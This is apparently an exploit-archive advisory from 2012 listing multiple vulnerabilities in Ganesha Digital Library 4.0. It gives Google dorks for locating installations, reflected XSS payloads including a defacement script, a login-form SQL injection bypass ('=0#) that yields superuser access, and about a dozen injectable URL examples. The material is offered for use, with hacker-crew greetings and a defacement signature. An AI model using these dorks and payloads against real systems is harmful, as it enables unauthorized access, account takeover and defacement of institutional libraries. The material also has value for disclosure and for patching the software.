Ganesha Digital Library 4.0 Multiple Vulnerabilities

=====================================================
Ganesha Digital Library 4.0 Multiple Vulnerabilities
=====================================================

:----------------------------------------------------------------------------------------------------------------------------------------:
: # Exploit Title : Ganesha Digital Library 4.0 Multiple Vulnerabilities
: # Date : 30 May 2012
: # Author : X-Cisadane
: # Software Link : kmrg.itb.ac.id
: # Version : 4.x
: # Category : Web Applications
: # Vulnerability : SQL Injection Vulnerability & NON-Persistent XSS
Vulnerability
: # Tested On : Mozilla Firefox 7.0.1 (Windows)
: # Greetz to : X-Code, Borneo Crew, Depok Cyber, Dunia Santai,Jiban Crew,
CodeNesia, Axon Code, Jember Hacker, Explore Crew, Winda Utari
:----------------------------------------------------------------------------------------------------------------------------------------:

Description :
=============
Ganesha Digital Library (GDL) is a digital library software developed by
Knowledge Management Research Group (KMRG) Institute of Technology Bandung
(ITB) in order to harness the intellectual capital (intellectual capital)
of ITB, which includes academic articles, journals, the final task, thesis,
dissertation, research results, expertise and other directory.

Dorks :
=======
inurl:"/office.php?m="
intext:Copyright © 2002-2003 - KMRG ITB. All rights reserved
intext:This work was carried out with the aid of a grant from YLTI
Indonesia and IDRC Canada.
intitle:" - GDL 4.0"

POC :
=====
[1] NON-Persistent XSS in the Account Activation Section
There is a security flaw (NON-Persistent XSS) in the Account Activation
Section.
Activate Account in the left corner Menu. Then you'll be taken to Activate
Account Page, Fill this script : '"><script>alert(1337)</script> on the
Account Field and Code Field Then Click Activate.

[2] NON-Persistent XSS in the Search Section
XSS Script : '"><script>alert(1337)</script>
For Example :
http://server/pustaka/search.php?s=[Insert XSS Script]

[3] NON-Persistent XSS in /office.php?m=lang&langid=[Insert XSS Script]
XSS Script : '"><script>alert(1337)</script>
For Example :
Type XSS Script like this --->
http://server/office.php?m=lang&langid='"><script>alert(1337)</script>
AND PRESS ENTER!
Then you'll be taken to Error Page.
Then edit the URL like this --->
http://server/office.php?m=lang&langid=en AND PRESS
ENTER!
If it Successfull, it will appear a Message Box "1337"
P.S : Login Required!

[4] NON-Persistent XSS DEFACING
XSS Script : http://server/publisher.php?id=<script>document.body.innerHTML="<h1>XSS
Defacing</h1>This Site Has XSSed By : X-Cisadane<br/>Greetz To : Poni,
Wilmar Kidz, Anharku, Artificial Intelligence, Winda Utari, etc<br/>Visit
http://xcode.or.id";</script>

[5] SQL Injection on The Login Form (Gain SuperUser Access!)
Open Ganesha Digital Library 4.0 Login Page
For the example : Open http://server/login.php
On the Account Field, Fill with this Symbol : '=0#
On the Password Field Don't Fill Anything!!! Then Click Login Button.
If it Successfull, you'll be got a Superuser GDL Access!
You can try another site such as :
http://server/login.php

[6] SQL Injection on go.php?id=['SQL]
SQL Injection on go.php?id=ID BLA BLA BLA&node=['SQL]
SQL Injection on go.php?id=ID BLA BLA BLA&node=NODE ID BLA BLA
BLA&start=['SQL]
SQL Injection on go.php?id=ID BLA BLA BLA&node=NODE ID BLA BLA
BLA&start=START ID BLA BLA BLA&node=['SQL]
For Example :
http://server/go.php?id='jkpkbppk-gdl-grey-2011-santoso-3848
http://server/go.php?id='dlhub-gdl-s1-2012-dewantiarl-23785
http://server/go.php?id=gdlhub-gdl-s1-2011-rizalabdul-15439&node='781&start=81&PHPSESSID=a46159e2d84c6d5fab6e581f7d3e7f3a
http://server/go.php?id=gdlhub-gdl-s1-2011-rizalabdul-15439&node=781&start='81&PHPSESSID=a46159e2d84c6d5fab6e581f7d3e7f3a
http://server/go.php?id=gdlhub-gdl-s1-2011-rizalabdul-15439&node=781&start=81&PHPSESSID=%27a46159e2d84c6d5fab6e581f7d3e7f3a

[7] SQL Injection on publisher.php?id=['SQL]
For Example :
http://server/publisher.php?id=%27JBPEDONFAU

[8] SQL Injection on go.php?node=['SQL]
For Example :
http://server/go.php?node='191

P.S : Login Required!

[9] SQL Injection on office.php?m=explorer&a=['SQL]&b=expand&w=0
For Example :
http://server/office.php?m=explorer&a='191&b=expand&w=0

P.S : Login Required!

[10] SQL Injection on office.php?m=user&a=['SQL]
For Example :
http://server/office.php?m=user&a='pdsony@idola.net.id&b=edit
P.S : Login Required!

[11] SQL Injction on office.php?m=workgroup&a=['SQL]&b=edit
For Example :
http://server/office.php?m=workgroup&a='1&b=edit
P.S : Login Required!

[12] SQL Injection on office.php?m=user&so=desc&sb=['SQL]
For Example :
http://server/office.php?m=user&so=desc&sb='FULL_NAME
http://server/office.php?m=user&so=asc&sb='EMAIL
http://server/office.php?m=user&so=asc&sb='GID
http://server/office.php?m=user&so=asc&sb='CONFIRM
P.S : Login Required!